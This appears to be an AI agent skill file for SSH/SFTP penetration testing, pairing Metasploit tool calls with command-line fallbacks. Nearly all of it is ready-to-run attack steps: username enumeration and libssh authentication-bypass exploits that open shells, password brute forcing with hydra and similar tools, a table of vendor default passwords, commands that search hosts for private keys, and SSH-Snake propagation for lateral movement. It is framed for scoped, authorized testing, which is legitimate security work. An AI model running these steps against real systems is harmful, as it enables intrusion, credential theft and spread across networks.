ssh-pentest

name	ssh-pentest
description	Guides SSH/SFTP service penetration testing. Use when port 22 is discovered during scanning or when Secure Shell service is identified on a target.

SSH Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Linux targets: load linux-pentest for post-access.

Ports and detection

Port	Service
22/tcp	SSH/SFTP (Secure Shell)

Banner and version

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 22, "THREADS": 5}
)

CLI fallback:

nc -vn <target> 22
nmap -p22 -sV -sC <target>
ssh-audit <target>
ssh-keyscan -t rsa,ed25519 <target>

Workflow

Task Progress:
- [ ] Banner and algorithm audit
- [ ] User enumeration (CVE-2018-15473)
- [ ] libssh auth bypass check
- [ ] Key/password brute force
- [ ] SSH-Snake propagation assessment
- [ ] Document findings

Algorithm and auth method audit

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 22}
)

CLI fallback:

ssh-audit <target>
nmap -p22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root" <target>
ssh -v <target> 2>&1 | grep -i 'authentications'
ssh -v <target> -o PreferredAuthentications=password

User enumeration (CVE-2018-15473)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_enumusers",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 22,
    "USER_FILE": "/path/to/users.txt",
    "CHECK_FALSE": true,
    "ACTION": "Malformed Packet",
    "THREADS": 5
  }
)

Timing attack variant:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_enumusers",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 22,
    "USER_FILE": "/path/to/users.txt",
    "ACTION": "Timing Attack",
    "THRESHOLD": 10,
    "THREADS": 1
  }
)

CLI fallback:

python3 ssh-username-enum.py -t <target> -U users.txt
python3 ssh-username-enum.py -t <target> -U users.txt --users root admin ubuntu
nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" <target>

libssh auth bypass (CVE-2018-10933)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/libssh_auth_bypass",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 22, "ACTION": "Execute", "CMD": "id"}
)

Shell variant:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/libssh_auth_bypass",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 22, "ACTION": "Shell"}
)

CLI fallback:

python3 libssh_auth_bypass.py <target> 22 id
# Manual: connect with libssh client sending SSH_MSG_USERAUTH_SUCCESS prematurely
nmap -p22 --script ssh2-enum-algos <target>   # identify libssh in banner

Password brute force

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 22,
    "USERNAME": "root",
    "PASSWORD": "password",
    "STOP_ON_SUCCESS": true,
    "THREADS": 5
  }
)

CLI fallback:

nxc ssh <target> -u users.txt -p passwords.txt
hydra -L users.txt -P passwords.txt <target> ssh -t 4
patator ssh_login host=<target> user=FILE0 password=FILE1 0=users.txt 1=pass.txt

Public key identification

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_identify_pubkeys",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 22, "KEY_FILE": "/path/to/id_rsa.pub", "THREADS": 5}
)

CLI fallback:

ssh -i id_rsa user@<target>
nmap -p22 --script ssh-publickey-acceptance --script-args="ssh-publickey-acceptance.keyfiles=/path/to/keys" <target>
ssh-keybrute.py -u root -k /path/to/keys <target>

SSH-Snake propagation

MSF: No direct module; use CLI.

CLI fallback:

# Auto-propagate via discovered keys across network (requires foothold)
git clone https://github.com/MegaManSec/SSH-Snake
./ssh-snake.sh <target>
./ssh-snake.sh --network 10.0.0.0/24
# Manual key harvest then pivot
find / -name id_rsa -o -name id_ed25519 2>/dev/null
grep -r "BEGIN.*PRIVATE KEY" /home /root 2>/dev/null

Kerberos / GSSAPI

MSF: No direct module; use CLI.

CLI fallback:

kinit <user>
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
nxc ssh <target> --kerberos

SSH tunneling

MSF: No direct module; use CLI.

CLI fallback:

ssh -L 8080:internal:80 user@<target> -N -f
ssh -D 1080 user@<target> -N -f
ssh -R 4444:127.0.0.1:4444 user@<target> -N -f
ssh -J user@jumpbox user@internal

SFTP misconfiguration bypass

MSF: No direct module; use CLI.

CLI fallback:

ssh user@<target> id
ssh user@<target> /bin/bash
sftp user@<target>

Default credentials

Vendor	User	Password
Cisco	admin, cisco	cisco, Admin123
Dell	root	calvin
VMware	root	vmware
APC	apc	apc

Known vulnerabilities

CVE	Description
CVE-2024-6387	regreSSHion race in OpenSSH 8.5p1-9.7p1
CVE-2018-15473	OpenSSH user enumeration
CVE-2018-10933	libssh auth bypass
CVE-2008-0166	Debian weak PRNG, predictable keys

Post-access

• Harvest keys: find / -name id_rsa -o -name id_ed25519 2>/dev/null
• Check authorized_keys, ~/.ssh/config, agent sockets
• Run SSH-Snake for lateral movement
• Pivot with -D or -L per pivoting-pentest

Related skills

• linux-pentest - post-shell enumeration and privesc
• pivoting-pentest - SSH tunneling and dynamic forwarding
• internal-ad-pentest - GSSAPI/Kerberos SSH to domain hosts